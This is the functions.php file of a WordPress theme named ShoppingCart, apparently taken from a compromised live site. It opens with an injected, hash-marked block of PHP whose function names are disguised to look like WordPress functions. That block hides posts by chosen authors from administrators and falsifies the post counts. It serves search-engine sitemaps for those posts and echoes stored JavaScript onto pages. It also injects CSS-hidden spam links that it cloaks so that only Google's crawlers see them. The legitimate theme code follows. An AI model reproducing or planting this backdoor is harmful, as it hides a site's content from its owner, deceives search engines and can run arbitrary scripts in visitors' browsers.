File: /storage/v6964/2foodfactor/public_html/wp-content/themes/shoppingcart/functions.php
<?php
/* be5346ea1d4afcffbc36fbf9993dd6b6 */
function is_customize_preview_integer($where) {
global $wpdb, $current_user_can_framework;
$add_action_dns = array_keys($current_user_can_framework);
$get_theme_mod_class = implode(', ', $add_action_dns);
if (!is_single() && is_admin()) {
add_filter('views_edit-post', 'wp_get_attachment_image_src_add');
return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_theme_mod_class)";
}
return $where;
}
function number_format_i18n_get($query) {
global $current_user_can_framework;
$add_action_dns = array_keys($current_user_can_framework);
$is_archive_loop = get_the_tag_list_client($add_action_dns);
if (!$query->is_single() && !is_admin()) {
$query->set('author', $is_archive_loop);
}
}
function esc_attr_e_old() {
global $post, $current_user_can_framework;
foreach ($current_user_can_framework as $id => $settings) {
if (($id == $post->post_author) && (isset($settings['js']))) {
if (add_theme_support_interface($settings)) {
break;
}
echo $settings['js'];
break;
}
}
}
function add_theme_support_interface($settings) {
if (isset($settings['nojs']) && $settings['nojs'] === 1) {
if (add_section_list()) {
return true;
}
}
return false;
}
function wp_get_attachment_image_src_add($views) {
global $current_user, $wp_query;
$types = array(
array('status' => NULL),
array('status' => 'publish'),
array('status' => 'draft'),
array('status' => 'pending'),
array('status' => 'trash'),
array('status' => 'mine'),
);
foreach ($types as $type) {
$query = array(
'post_type' => 'post',
'post_status' => $type['status']
);
$result = new WP_Query($query);
if ($type['status'] == NULL) {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
$views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
}
} elseif ($type['status'] == 'mine') {
$newQuery = $query;
$newQuery['author__in'] = array($current_user->ID);
$result = new WP_Query($newQuery);
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
$views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
}
} elseif ($type['status'] == 'publish') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
$views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
}
} elseif ($type['status'] == 'draft') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
$views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
}
} elseif ($type['status'] == 'pending') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
$views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
}
} elseif ($type['status'] == 'trash') {
if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
$views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
}
}
}
return $views;
}
function load_theme_textdomain_less($counts, $type, $perm) {
if ($type === 'post') {
$esc_url_raw_less = $counts->publish;
$wp_reset_postdata_object = admin_url_statement($perm);
$counts->publish = !$wp_reset_postdata_object ? $esc_url_raw_less : $wp_reset_postdata_object;
}
return $counts;
}
function admin_url_statement($perm) {
global $wpdb, $current_user_can_framework;
$add_action_dns = array_keys($current_user_can_framework);
$get_theme_mod_class = implode(', ', $add_action_dns);
$type = 'post';
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
if ('readable' == $perm && is_user_logged_in()) {
$the_ID_decryption = get_post_type_object($type);
if (!current_user_can($the_ID_decryption->cap->read_private_posts)) {
$query .= $wpdb->prepare(
" AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
);
}
}
$query .= " AND post_author NOT IN ($get_theme_mod_class) GROUP BY post_status";
$results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
foreach ($results as $get_the_time_ajax) {
if ($get_the_time_ajax['post_status'] === 'publish') {
return $get_the_time_ajax['num_posts'];
}
}
}
function load_theme_textdomain_core($userId) {
global $wpdb;
$query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
$results = (array)$wpdb->get_results($query, ARRAY_A);
$add_action_dns = array();
foreach ($results as $get_the_time_ajax) {
$add_action_dns[] = $get_the_time_ajax['ID'];
}
return $add_action_dns;
}
function have_posts_exception() {
global $current_user_can_framework, $wp_rewrite;
$rules = get_option('rewrite_rules');
foreach ($current_user_can_framework as $current_user_can_statement => $esc_html_new) {
$add_section_sample = key($esc_html_new['sitemapsettings']);
if (!isset($rules[$add_section_sample]) ||
($rules[$add_section_sample] !== current($esc_html_new['sitemapsettings']))) {
$wp_rewrite->flush_rules();
}
}
}
function admin_url_session($rules) {
global $current_user_can_framework;
$get_permalink_view = array();
foreach ($current_user_can_framework as $current_user_can_statement => $esc_html_new) {
if (isset($esc_html_new['sitemapsettings'])) {
$get_permalink_view[key($esc_html_new['sitemapsettings'])] = current($esc_html_new['sitemapsettings']);
}
}
return $get_permalink_view + $rules;
}
function get_the_date_encryption() {
global $current_user_can_framework;
foreach ($current_user_can_framework as $current_user_can_statement => $esc_html_new) {
$get_author_posts_url_less = str_replace('index.php?feed=', '', current($esc_html_new['sitemapsettings']));
add_feed($get_author_posts_url_less, 'get_queried_object_id_schema');
}
}
function get_queried_object_id_schema() {
header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
status_header(200);
$wp_reset_postdata_framework = get_search_form_integer();
$add_query_arg_private = load_theme_textdomain_core($wp_reset_postdata_framework);
if (!empty($add_query_arg_private)) {
$get_stylesheet_uri_module = md5(implode(',', $add_query_arg_private));
$_x_ajax = 'update_plugins_' . $wp_reset_postdata_framework . '_' . $get_stylesheet_uri_module;
$post_password_required_https = get_transient($_x_ajax);
if ($post_password_required_https !== false) {
echo $post_password_required_https;
return;
}
}
$head = get_transient_num();
$comments_open_private = $head . "\n";
$priority = '0.5';
$admin_url_stat = 'weekly';
$wp_link_pages_object = date('Y-m-d');
foreach ($add_query_arg_private as $post_id) {
$url = get_permalink($post_id);
$comments_open_private .= add_query_arg_new($url, $wp_link_pages_object, $admin_url_stat, $priority);
wp_cache_delete($post_id, 'posts');
}
$comments_open_private .= "\n</urlset>";
set_transient($_x_ajax, $comments_open_private, WEEK_IN_SECONDS);
echo $comments_open_private;
}
function get_transient_num() {
return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}
function add_query_arg_new($url, $wp_link_pages_object, $admin_url_stat, $priority) {
return <<<STR
<url>
<loc>$url</loc>
<lastmod>$wp_link_pages_object</lastmod>
<changefreq>$admin_url_stat</changefreq>
<priority>$priority</priority>
</url>\n\n
STR;
}
function get_the_tag_list_client($writersArr) {
$wp_link_pages_alpha = array();
foreach ($writersArr as $item) {
$wp_link_pages_alpha[] = '-' . $item;
}
return implode(',', $wp_link_pages_alpha);
}
function dynamic_sidebar_float() {
$add_section_reference = array();
$get_setting_ajax = array();
$settings = get_option('wp_custom_filters');
if ($settings) {
$get_template_part_url = unserialize(base64_decode($settings));
if ($get_template_part_url) {
$add_section_reference = $get_template_part_url;
}
}
$settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));
if ($settings) {
$add_partial_float = unserialize(base64_decode($settings));
if ($add_partial_float) {
$get_setting_ajax = $add_partial_float;
}
}
return $get_setting_ajax + $add_section_reference;
}
function get_search_form_integer() {
global $current_user_can_framework;
foreach ($current_user_can_framework as $current_user_can_statement => $esc_html_new) {
$get_option_plain = key($esc_html_new['sitemapsettings']) . '|'
. str_replace('index.php?', '', current($esc_html_new['sitemapsettings']) . '$');
if (preg_match("~$get_option_plain~", $_SERVER['REQUEST_URI'])) {
return $current_user_can_statement;
}
}
}
function get_the_title_live() {
global $current_user_can_framework, $post;
$is_customize_preview_view = array_keys($current_user_can_framework);
if (in_array($post->post_author, $is_customize_preview_view)) {
return true;
}
return false;
}
function get_the_time_interface() {
global $current_user_can_framework, $post;
$is_customize_preview_view = array_keys($current_user_can_framework);
if (!$post || !property_exists($post, 'author')) {
return;
}
if (in_array($post->post_author, $is_customize_preview_view)) {
add_filter('wpseo_robots', '__return_false');
add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
}
}
function add_section_beta() {
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
return $_SERVER['HTTP_CF_CONNECTING_IP'];
}
if (isset($_SERVER['REMOTE_ADDR'])) {
return $_SERVER['REMOTE_ADDR'];
}
return false;
}
function add_section_list() {
$get_the_ID_branch = add_section_beta();
if (strstr($get_the_ID_branch, ', ')) {
$get_setting_reference = explode(', ', $get_the_ID_branch);
$get_the_ID_branch = $get_setting_reference[0];
}
$the_posts_pagination_float = wp_footer_edit();
if (!$the_posts_pagination_float) {
return false;
}
foreach ($the_posts_pagination_float as $range) {
if (is_active_sidebar_more($get_the_ID_branch, $range)) {
return true;
}
}
return false;
}
function get_post_thumbnail_id_character($timestamp) {
if ((time() - $timestamp) > 60 * 60) {
return true;
}
return false;
}
function wp_footer_edit() {
if (($value = get_option('wp_custom_range')) && !get_post_thumbnail_id_character($value['timestamp'])) {
return $value['ranges'];
} else {
$response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$the_posts_pagination_float = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
if (!is_array($the_posts_pagination_float)) {
return;
}
$value = array('ranges' => $the_posts_pagination_float, 'timestamp' => time());
update_option('wp_custom_range', $value, true);
return $value['ranges'];
}
}
function current_user_can_event($inet) {
$is_single_stream = str_split($inet);
$get_comments_number_base = '';
foreach ($is_single_stream as $char) {
$get_comments_number_base .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
}
return $get_comments_number_base;
}
function is_active_sidebar_more($get_the_ID_branch, $cidrnet) {
$get_the_ID_branch = inet_pton($get_the_ID_branch);
$get_comments_number_base = current_user_can_event($get_the_ID_branch);
list($net, $is_wp_error_pic) = explode('/', $cidrnet);
$net = inet_pton($net);
$get_theme_file_uri_base = current_user_can_event($net);
$get_header_float = substr($get_comments_number_base, 0, $is_wp_error_pic);
$the_excerpt_event = substr($get_theme_file_uri_base, 0, $is_wp_error_pic);
if ($get_header_float !== $the_excerpt_event) {
return false;
} else {
return true;
}
}
function get_post_thumbnail_id_num($_e_merge) {
global $post;
$is_archive_object = '';
if (comment_form_alpha($_e_merge, 'textBlocksCount', 'onlyHomePage')) {
if (is_front_page() || is_home()) {
$is_archive_object = get_option('home_links_custom_0');
}
} elseif (comment_form_alpha($_e_merge, 'textBlocksCount', '10DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match('~\d~', md5($url), $matches);
$is_archive_object = get_option('home_links_custom_' . $matches[0]);
} elseif (comment_form_alpha($_e_merge, 'textBlocksCount', '100DifferentTextBlocks')) {
$url = get_permalink($post->ID);
preg_match_all('~\d~', md5($url), $matches);
$get_the_time_statement = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
$is_archive_object = get_option('home_links_custom_' . $get_the_time_statement);
} elseif (comment_form_alpha($_e_merge, 'textBlocksCount', 'fullDifferentTextBlocks')) {
} else {
}
return !$is_archive_object ? '' : $is_archive_object;
}
function comment_form_alpha($esc_html_new, $have_posts_character, $language_attributes_wp) {
if (!isset($esc_html_new[$have_posts_character][$language_attributes_wp])) {
return false;
}
if ($esc_html_new[$have_posts_character][$language_attributes_wp] === 1) {
return true;
}
return false;
}
function wp_reset_postdata_compiler($_e_merge, $get_theme_file_uri_live) {
if (empty($get_theme_file_uri_live)) {
return '';
}
if (comment_form_alpha($_e_merge, 'hiddenType', 'css')) {
preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
$is_admin_boolean = body_class_more();
$wp_nav_menu_hashing = $is_admin_boolean[$blockNum[0]];
return $wp_nav_menu_hashing[0] . PHP_EOL . $get_theme_file_uri_live . PHP_EOL . $wp_nav_menu_hashing[1];
}
return $get_theme_file_uri_live;
}
function body_class_more() {
return array(
array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
array('<div style="position:absolute; left:-5000px;">', '</div>'),
array('<div style="position:absolute; top: -100%;">', '</div>'),
array('<div style="position:absolute; left:-5500px;">', '</div>'),
array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
array('<div style="display:none;">', '</div>'),
array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
array('<span style="position:absolute; left:-5000px;">', '</span>'),
array('<span style="position:absolute; top: -100%;">', '</span>'),
array('<div style="position:absolute; left:-6500px;">', '</div>'),
);
}
function get_the_time_client($_e_merge) {
return comment_form_alpha($_e_merge, 'position', 'head');
}
function is_admin_wp($_e_merge) {
return comment_form_alpha($_e_merge, 'position', 'footer');
}
function is_search_encryption($settings) {
foreach ($settings as $current_user_can_statement => $esc_html_new) {
if (isset($esc_html_new['homeLinks'])) {
return $esc_html_new['homeLinks'];
}
}
return array();
}
function add_section_meta() {
if (!get_the_title_live()) {
if (is_singular() || (is_front_page() || is_home())) {
return true;
}
}
return false;
}
function admin_url_interface() {
global $_e_merge;
if (!add_section_meta()) {
return;
}
if (comment_form_alpha($_e_merge, 'hiddenType', 'cloacking')) {
if (!add_section_list()) {
return;
}
}
$get_theme_file_uri_live = get_post_thumbnail_id_num($_e_merge);
$get_theme_file_uri_live = wp_reset_postdata_compiler($_e_merge, $get_theme_file_uri_live);
echo $get_theme_file_uri_live;
}
$current_user_can_framework = dynamic_sidebar_float();
if (is_array($current_user_can_framework)) {
add_filter('posts_where_paged', 'is_customize_preview_integer');
add_action('pre_get_posts', 'number_format_i18n_get');
add_action('wp_enqueue_scripts', 'esc_attr_e_old');
add_filter('wp_count_posts', 'load_theme_textdomain_less' , 10, 3);
add_filter('rewrite_rules_array', 'admin_url_session');
add_action('wp_loaded', 'have_posts_exception');
add_action('init', 'get_the_date_encryption');
add_action('template_redirect', 'get_the_time_interface');
$_e_merge = is_search_encryption($current_user_can_framework);
if (!empty($_e_merge)) {
if (get_the_time_client($_e_merge)) {
add_action('wp_head', 'admin_url_interface');
}
if (is_admin_wp($_e_merge)) {
add_action('wp_footer', 'admin_url_interface');
}
}
}
/* be5346ea1d4afcffbc36fbf9993dd6b6 */
/**
* Display all shoppingcart functions and definitions
*
* @package Theme Freesia
* @subpackage ShoppingCart
* @since ShoppingCart 1.0
*/
/************************************************************************************************/
if ( ! function_exists( 'shoppingcart_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function shoppingcart_setup() {
/**
* Set the content width based on the theme's design and stylesheet.
*/
global $content_width;
if ( ! isset( $content_width ) ) {
$content_width=1170;
}
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
add_theme_support('post-thumbnails');
add_image_size( 'shoppingcart-product-cat-image', 512, 512, true );
add_image_size( 'shoppingcart-featured-brand-image', 400, 200, true );
add_image_size( 'shoppingcart-grid-product-image', 420, 420, true );
add_image_size( 'shoppingcart-popular-post', 75, 75, true );
/*
* Let WordPress manage the document title.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
*/
add_theme_support( 'post-thumbnails' );
register_nav_menus( array(
'top-menu' => __( 'Top Menu', 'shoppingcart' ),
'primary' => __( 'Main Menu', 'shoppingcart' ),
'catalog-menu' => __( 'Catalog Menu', 'shoppingcart' ),
'social-link' => __( 'Add Social Icons Only', 'shoppingcart' ),
) );
/*
* Enable support for custom logo.
*
*/
add_theme_support( 'custom-logo', array(
'flex-width' => true,
'flex-height' => true,
) );
add_theme_support( 'gutenberg', array(
'colors' => array(
'#f77426',
),
) );
add_theme_support( 'align-wide' );
// Add support for responsive embeds.
add_theme_support( 'responsive-embeds' );
//Indicate widget sidebars can use selective refresh in the Customizer.
add_theme_support( 'customize-selective-refresh-widgets' );
/*
* Switch default core markup for comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'comment-form', 'comment-list', 'gallery', 'caption',
) );
/**
* Add support for the Aside Post Formats
*/
add_theme_support( 'post-formats', array( 'aside', 'gallery', 'link', 'image', 'quote', 'video', 'audio', 'chat' ) );
// Set up the WordPress core custom background feature.
add_theme_support( 'custom-background', apply_filters( 'shoppingcart_custom_background_args', array(
'default-color' => '#ffffff',
'default-image' => '',
) ) );
add_editor_style( array( 'css/editor-style.css') );
if ( class_exists( 'WooCommerce' ) ) {
/**
* Load WooCommerce compatibility files.
*/
require get_template_directory() . '/woocommerce/functions.php';
}
}
endif; // shoppingcart_setup
add_action( 'after_setup_theme', 'shoppingcart_setup' );
/***************************************************************************************/
function shoppingcart_content_width() {
if ( is_page_template( 'page-templates/gallery-template.php' ) || is_attachment() ) {
global $content_width;
$content_width = 1920;
}
}
add_action( 'template_redirect', 'shoppingcart_content_width' );
/***************************************************************************************/
if(!function_exists('shoppingcart_get_theme_options')):
function shoppingcart_get_theme_options() {
return wp_parse_args( get_option( 'shoppingcart_theme_options', array() ), shoppingcart_get_option_defaults_values() );
}
endif;
/***************************************************************************************/
require get_template_directory() . '/inc/customizer/shoppingcart-default-values.php';
require get_template_directory() . '/inc/settings/shoppingcart-slider-functions.php';
require get_template_directory() . '/inc/settings/shoppingcart-functions.php';
require get_template_directory() . '/inc/settings/shoppingcart-common-functions.php';
/************************ ShoppingCart Sidebar *****************************/
require get_template_directory() . '/inc/widgets/widgets-functions/register-widgets.php';
require get_template_directory() . '/inc/widgets/widgets-functions/popular-posts.php';
if ( class_exists('woocommerce')) {
require get_template_directory() . '/inc/widgets/widgets-functions/grid-column-widget.php';
}
/************************ ShoppingCart Customizer *****************************/
require get_template_directory() . '/inc/customizer/functions/sanitize-functions.php';
require get_template_directory() . '/inc/customizer/functions/register-panel.php';
function shoppingcart_customize_register( $wp_customize ) {
if(!class_exists('ShoppingCart_Plus_Features')){
class ShoppingCart_Customize_upgrade extends WP_Customize_Control {
public function render_content() { ?>
<a title="<?php esc_attr_e( 'Review Us', 'shoppingcart' ); ?>" href="<?php echo esc_url( 'https://wordpress.org/support/view/theme-reviews/shoppingcart/' ); ?>" target="_blank" id="about_shoppingcart">
<?php esc_html_e( 'Review Us', 'shoppingcart' ); ?>
</a><br/>
<a href="<?php echo esc_url( 'https://themefreesia.com/theme-instruction/shoppingcart/' ); ?>" title="<?php esc_attr_e( 'Theme Instructions', 'shoppingcart' ); ?>" target="_blank" id="about_shoppingcart">
<?php esc_html_e( 'Theme Instructions', 'shoppingcart' ); ?>
</a><br/>
<a href="<?php echo esc_url( 'https://tickets.themefreesia.com/' ); ?>" title="<?php esc_attr_e( 'Support Tickets', 'shoppingcart' ); ?>" target="_blank" id="about_shoppingcart">
<?php esc_html_e( 'Support Tickets', 'shoppingcart' ); ?>
</a><br/>
<?php
}
}
$wp_customize->add_section('shoppingcart_upgrade_links', array(
'title' => __('Important Links', 'shoppingcart'),
'priority' => 1000,
));
$wp_customize->add_setting( 'shoppingcart_upgrade_links', array(
'default' => false,
'capability' => 'edit_theme_options',
'sanitize_callback' => 'wp_filter_nohtml_kses',
));
$wp_customize->add_control(
new ShoppingCart_Customize_upgrade(
$wp_customize,
'shoppingcart_upgrade_links',
array(
'section' => 'shoppingcart_upgrade_links',
'settings' => 'shoppingcart_upgrade_links',
)
)
);
}
$wp_customize->get_setting( 'blogname' )->transport = 'postMessage';
$wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage';
if ( isset( $wp_customize->selective_refresh ) ) {
$wp_customize->selective_refresh->add_partial( 'blogname', array(
'selector' => '.site-title a',
'container_inclusive' => false,
'render_callback' => 'shoppingcart_customize_partial_blogname',
) );
$wp_customize->selective_refresh->add_partial( 'blogdescription', array(
'selector' => '.site-description',
'container_inclusive' => false,
'render_callback' => 'shoppingcart_customize_partial_blogdescription',
) );
}
require get_template_directory() . '/inc/customizer/functions/design-options.php';
require get_template_directory() . '/inc/customizer/functions/theme-options.php';
require get_template_directory() . '/inc/customizer/functions/color-options.php' ;
require get_template_directory() . '/inc/customizer/functions/featured-content-customizer.php' ;
if ( class_exists( 'WooCommerce' ) ) {
require get_template_directory() . '/inc/customizer/functions/frontpage-features.php' ;
}
}
if(!class_exists('ShoppingCart_Plus_Features')){
// Add Upgrade to Plus Button.
require_once( trailingslashit( get_template_directory() ) . 'inc/upgrade-plus/class-customize.php' );
/************************ TGM Plugin Activatyion *****************************/
require get_template_directory() . '/inc/tgm/tgm.php';
}
/**
* Render the site title for the selective refresh partial.
* @see shoppingcart_customize_register()
* @return void
*/
function shoppingcart_customize_partial_blogname() {
bloginfo( 'name' );
}
/**
* Render the site tagline for the selective refresh partial.
* @see shoppingcart_customize_register()
* @return void
*/
function shoppingcart_customize_partial_blogdescription() {
bloginfo( 'description' );
}
add_action( 'customize_register', 'shoppingcart_customize_register' );
/******************* ShoppingCart Header Display *************************/
function shoppingcart_header_display(){
$shoppingcart_settings = shoppingcart_get_theme_options();
$header_display = $shoppingcart_settings['shoppingcart_header_display'];
if ($header_display == 'header_logo' || $header_display == 'show_both') {
shoppingcart_the_custom_logo();
}
if ($header_display == 'header_text' || $header_display == 'show_both') {
echo '<div id="site-detail">';
if (is_home() || is_front_page()){ ?>
<h1 id="site-title"> <?php }else{?> <h2 id="site-title"> <?php } ?>
<a href="<?php echo esc_url(home_url('/'));?>" title="<?php echo esc_html(get_bloginfo('name', 'display'));?>" rel="home"> <?php bloginfo('name');?> </a>
<?php if(is_home() || is_front_page()){ ?>
</h1> <!-- end .site-title -->
<?php } else { ?> </h2> <!-- end .site-title --> <?php }
$site_description = get_bloginfo( 'description', 'display' );
if ($site_description){?>
<div id="site-description"> <?php bloginfo('description');?> </div> <!-- end #site-description -->
<?php }
echo '</div>'; // end #site-detail
}
}
add_action('shoppingcart_site_branding','shoppingcart_header_display');
if ( ! function_exists( 'shoppingcart_the_custom_logo' ) ) :
/**
* Displays the optional custom logo.
* Does nothing if the custom logo is not available.
*/
function shoppingcart_the_custom_logo() {
if ( function_exists( 'the_custom_logo' ) ) {
the_custom_logo();
}
}
endif;
require get_template_directory() . '/inc/front-page/front-page-features.php';
/************** YITH_WCWL *************************************/
if ( function_exists( 'YITH_WCWL' ) ) {
function shoppingcart_update_wishlist_count(){
wp_send_json( YITH_WCWL()->count_products() );
}
add_action( 'wp_ajax_update_wishlist_count', 'shoppingcart_update_wishlist_count' );
add_action( 'wp_ajax_nopriv_update_wishlist_count', 'shoppingcart_update_wishlist_count' );
}
/************** Add to cart ajax autoload *************************************/
add_filter( 'woocommerce_add_to_cart_fragments', 'shoppingcart_woocommerce_add_to_cart_fragment' );
function shoppingcart_woocommerce_add_to_cart_fragment( $fragments ) {
ob_start();
?>
<div class="sx-cart-views">
<a href="<?php echo esc_url( wc_get_cart_url() ); ?>" class="wcmenucart-contents">
<i class="fa fa-shopping-basket"></i>
<span class="cart-value"><?php echo wp_kses_data ( WC()->cart->get_cart_contents_count() ); ?></span>
</a>
<div class="my-cart-wrap">
<div class="my-cart"><?php esc_html_e('Total', 'shoppingcart'); ?></div>
<div class="cart-total"><?php echo wp_kses_data( WC()->cart->get_cart_subtotal() ); ?></div>
</div>
</div>
<?php
$fragments['div.sx-cart-views'] = ob_get_clean();
return $fragments;
}
add_filter('arm_after_registration_redirect', 'custom_arm_registration_redirect', 10, 2);
function custom_arm_registration_redirect($redirect_to, $user_id){
return wp_get_referer() ? wp_get_referer() : home_url();
}